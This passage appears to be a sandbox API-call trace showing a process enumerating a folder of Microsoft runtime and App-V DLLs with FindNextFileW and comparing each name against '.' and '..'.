	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd089348e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd089348e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd09c4608, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-localization-l1-2-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-localization-l1-2-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd115de42, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd115de42, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd158a009, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="AP750A~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-processthreads-l1-1-1.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-processthreads-l1-1-1.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0d0baf0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0d0baf0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0eaf4e3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="APF10C~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-synch-l1-2-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-synch-l1-2-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c4cdf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c4cdf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0df0820, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="AP7902~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-timezone-l1-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-timezone-l1-1-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0c26cd1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0c26cd1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0e62fac, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l2-1-0.dll", cAlternateFileName="APA632~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-xstate-l2-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-xstate-l2-1-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd289cda7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd289cda7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2a1a592, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-conio-l1-1-0.dll", cAlternateFileName="AP5C76~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-conio-l1-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-conio-l1-1-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0b8e391, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0b8e391, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0d7e20c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x58c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-convert-l1-1-0.dll", cAlternateFileName="APFD9C~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-convert-l1-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-convert-l1-1-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0bda864, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-environment-l1-1-0.dll", cAlternateFileName="APC00F~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-environment-l1-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-environment-l1-1-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0aa952a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0aa952a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c99389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x50c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-filesystem-l1-1-0.dll", cAlternateFileName="API-MS~4.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-filesystem-l1-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-crt-filesystem-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0af5a16, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0af5a16, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0c4cdf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-heap-l1-1-0.dll", cAlternateFileName="AP23C9~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-heap-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-heap-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e086ac, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e086ac, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2365abe, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-locale-l1-1-0.dll", cAlternateFileName="APCB40~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-locale-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-locale-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1137cdf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1137cdf, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1d23858, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-math-l1-1-0.dll", cAlternateFileName="APAE51~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-math-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-math-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1006983, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1006983, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1242d5d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x68c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-multibyte-l1-1-0.dll", cAlternateFileName="AP972F~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-multibyte-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-multibyte-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd121c9ea, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x114c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-private-l1-1-0.dll", cAlternateFileName="AP7D9E~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-private-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-private-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0f9426a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0f9426a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd139a18a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4cc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-process-l1-1-0.dll", cAlternateFileName="APFCAD~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-process-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-process-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd11d067c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-runtime-l1-1-0.dll", cAlternateFileName="AP8F34~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-runtime-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-runtime-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1078ffd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-stdio-l1-1-0.dll", cAlternateFileName="APD1B7~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-stdio-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-stdio-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0eaf4e3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0eaf4e3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd10c55e8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x60c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-string-l1-1-0.dll", cAlternateFileName="APBF0F~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-string-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-string-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0dca676, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0dca676, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0f9426a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x52c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-time-l1-1-0.dll", cAlternateFileName="AP5E4C~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-time-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-time-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b7fe91, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b7fe91, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1ec71c8, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ac0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-crt-utility-l1-1-0.dll", cAlternateFileName="AP80F4~1.DLL")) returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-utility-l1-1-0.dll", _String2=".") returned 1
	[0082.021] wcscmp (_String1="api-ms-win-crt-utility-l1-1-0.dll", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1b59cda, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1b59cda, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f1370b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x34ad8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate32.exe", cAlternateFileName="APPVDL~2.EXE")) returned 1
	[0082.021] wcscmp (_String1="AppVDllSurrogate32.exe", _String2=".") returned 1
	[0082.021] wcscmp (_String1="AppVDllSurrogate32.exe", _String2="..") returned 1
	[0082.021] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e2e85a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppVDllSurrogate64.exe", cAlternateFileName="APPVDL~1.EXE")) returned 1
	[0082.022] wcscmp (_String1="AppVDllSurrogate64.exe", _String2=".") returned 1
	[0082.022] wcscmp (_String1="AppVDllSurrogate64.exe", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream32.dll", cAlternateFileName="APPVIS~1.DLL")) returned 1
	[0082.022] wcscmp (_String1="AppvIsvStream32.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="AppvIsvStream32.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvStream64.dll", cAlternateFileName="APPVIS~2.DLL")) returned 1
	[0082.022] wcscmp (_String1="AppvIsvStream64.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="AppvIsvStream64.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x86813dc4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86813dc4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems32.dll", cAlternateFileName="APPVIS~3.DLL")) returned 1
	[0082.022] wcscmp (_String1="AppvIsvSubsystems32.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="AppvIsvSubsystems32.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppvIsvSubsystems64.dll", cAlternateFileName="APPVIS~4.DLL")) returned 1
	[0082.022] wcscmp (_String1="AppvIsvSubsystems64.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="AppvIsvSubsystems64.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd153dc41, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd153dc41, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1e7acf5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x69630, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AppVLP.exe", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="AppVLP.exe", _String2=".") returned 1
	[0082.022] wcscmp (_String1="AppVLP.exe", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R32.dll", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="C2R32.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="C2R32.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x420, ftCreationTime.dwLowDateTime=0x8683a0f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8683a0f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8683a0f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="C2R64.dll", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="C2R64.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="C2R64.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd11f68b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd11f68b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd191da0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x514a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="concrt140.dll", cAlternateFileName="CONCRT~1.DLL")) returned 1
	[0082.022] wcscmp (_String1="concrt140.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="concrt140.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1242d5d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1242d5d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1bcc41c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5644a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="mfc140u.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="mfc140u.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1f5fb21, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd244aa14, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa12a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp120.dll", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="msvcp120.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="msvcp120.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1ea0ff2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1ea0ff2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd20449b3, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x9b0a0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcp140.dll", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="msvcp140.dll", _String2=".") returned 1
	[0082.022] wcscmp (_String1="msvcp140.dll", _String2="..") returned 1
	[0082.022] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e7acf5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e7acf5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1fac086, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeb2a8, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="msvcr120.dll", cAlternateFileName="")) returned 1
	[0082.022] wcscmp (_String1="msvcr120.dll", _String2=".") returned 1
	[0082.023] wcscmp (_String1="msvcr120.dll", _String2="..") returned 1
	[0082.023] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd1e2e85a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd1e2e85a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd1f5fb21, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xefec0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ucrtbase.dll", cAlternateFileName="")) returned 1
	[0082.023] wcscmp (_String1="ucrtbase.dll", _String2=".") returned 1
